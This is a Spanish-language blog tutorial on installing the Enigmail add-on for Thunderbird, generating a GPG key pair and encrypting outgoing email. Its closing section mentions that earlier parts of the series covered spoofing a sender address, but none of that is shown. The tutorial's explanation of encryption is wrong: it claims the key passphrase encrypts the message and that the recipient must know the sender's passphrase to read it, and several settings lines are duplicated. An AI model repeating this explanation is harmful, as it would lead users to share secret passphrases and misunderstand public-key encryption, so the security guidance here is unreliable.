Bueno, para cifrar nuestro correo vamos a utilizar Enigmail, un addon para Thunderbird. Aunque el cifrado del contenido de los mensajes se puede hacer con programas externos al propio cliente, resulta más simple utilizar addons. Imagino que habréis oido hablar de PGP (Pretty Good Privacy), un sistema cifrado para el contenido de los mensajes Más información aquí. Pues bien, Enigmail utiliza uno similar llamado GPG (GNU Privacy Guard) que viene a ser similar al PGP con la diferencia de que se distribuye bajo licencia libre GPL. Más información sobre GPG AQUÍ. Vamos a proceder ya a descargar e instalar Enigmail. La versión que instaléis dependerá sin lugar a dudas de la versión de vuestro Thunderbird. Vamos a la siguiente página http://enigmail.mozdev.org/download/index.php y lo descargamos. Una vez descargado, vamos al menú de nuestro cliente de correo Tools--> Add-ons. Se nos abrirá una ventanita. Pues bien, vamos a Extensions y le damos al botón Install. Entonces se nos abrirá el gestor de archivos para seleccionar el addon que queremos instalar, por ello, vamos al directorio en el que se encuentra nuestro addon y lo seleccionamos. Habrá que reiniciar Thunderbird para poder usarlo.
Seleccionando la clave:
Ya tenemos todo instalado, ahora sólo hay que configurarlo. Vamos entonces al menú OpenPGP-->Herramientas. En la ventanita marcaremos la opción "Mostrar configuración para expertos". Cerramos la ventana y volvemos al menú OpenPGP-->Administración de claves. En el menú, vamos a Generar--> Nuevo par de claves. En el campo donde pone "Frase clave" escribimos nuestra contraseña, que servirá para cifrar el mensaje. Ahora es cuando pulsamos el botón "Generar clave". Tardará un rato en generarla, después nos pedirá si queremos crear un certificado de revocación para nuestra clave. Esto servirá por si acaso en un futuro nuestra clave se ve comprometida o se pierde. Ahora para finalizar vamos al menú Edit-->Acount-Settings y se nos abrirá otra ventana. En la parte izquierda veremos un campo con distintas opciones. Seleccionamos Seguridad OpenPGP y dentro del menú de opciones de Seguridad OpenPGP marcamos:
Activar el soporte OpenPGP (Enigmail) para esta identidad.
Usar la dirección de correo de esta identidad para identificar la clave OpenPGP.
Firmar mensajes sin cifrar por defecto.
Firmar mensajes cifrados por defecto.
Usar la dirección de correo de esta identidad para identificar la clave OpenPGP.
Firmar mensajes sin cifrar por defecto.
Firmar mensajes cifrados por defecto.
Pulsamos sobre el botón Aceptar y salimos.
Cifrando el mensaje:
Bien, ha llegado el momento. Pulsamos el botón Write para escribir un nuevo mensaje. Se nos abrirá una interfaz desde la cual configuraremos los parámetros del mensaje así como su contenido, etc... Vamos al botón "OpenPGP" y lo desplegamos, marcando la opción "Cifrar mensaje". Esto lo podemos hacer también con la combinación de teclas: Ctrl + Shift + P o pulsando en la esquina inferior derecha el botón de la llave. El mensaje ya estará cifrado. Ahora sólo resta enviarlo. Al hacerlo aparecerá una nueva pantalla en la que seleccionaremos nuestra clave y pulsaremos "Ok". Finalmente aparecerán dos ventanas más, en la primera se pedirá que se escriba de nuevo la contraseña de la clave y en la segunda que se escriba la contraseña de la cuenta. Aquel que lo vaya a recibir, tendrá que saber la contraseña de la clave, ya que de no ser así no podrá leerlo.
Conclusión:
Creo que ha quedado clara la manera de protegerse en el correo electrónico, así como la de evitar que terceras personas malintencionadas puedan leer mails interceptados. En este mini-tutorial hemos aprendido sobre protocolos, a mandar un mail falseando el remitente, a desmontar la cabecera del correo y tracearla, a instalar Thunderbird y a cifrar mensajes de correo gracias a GPG y Enigmail.
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!


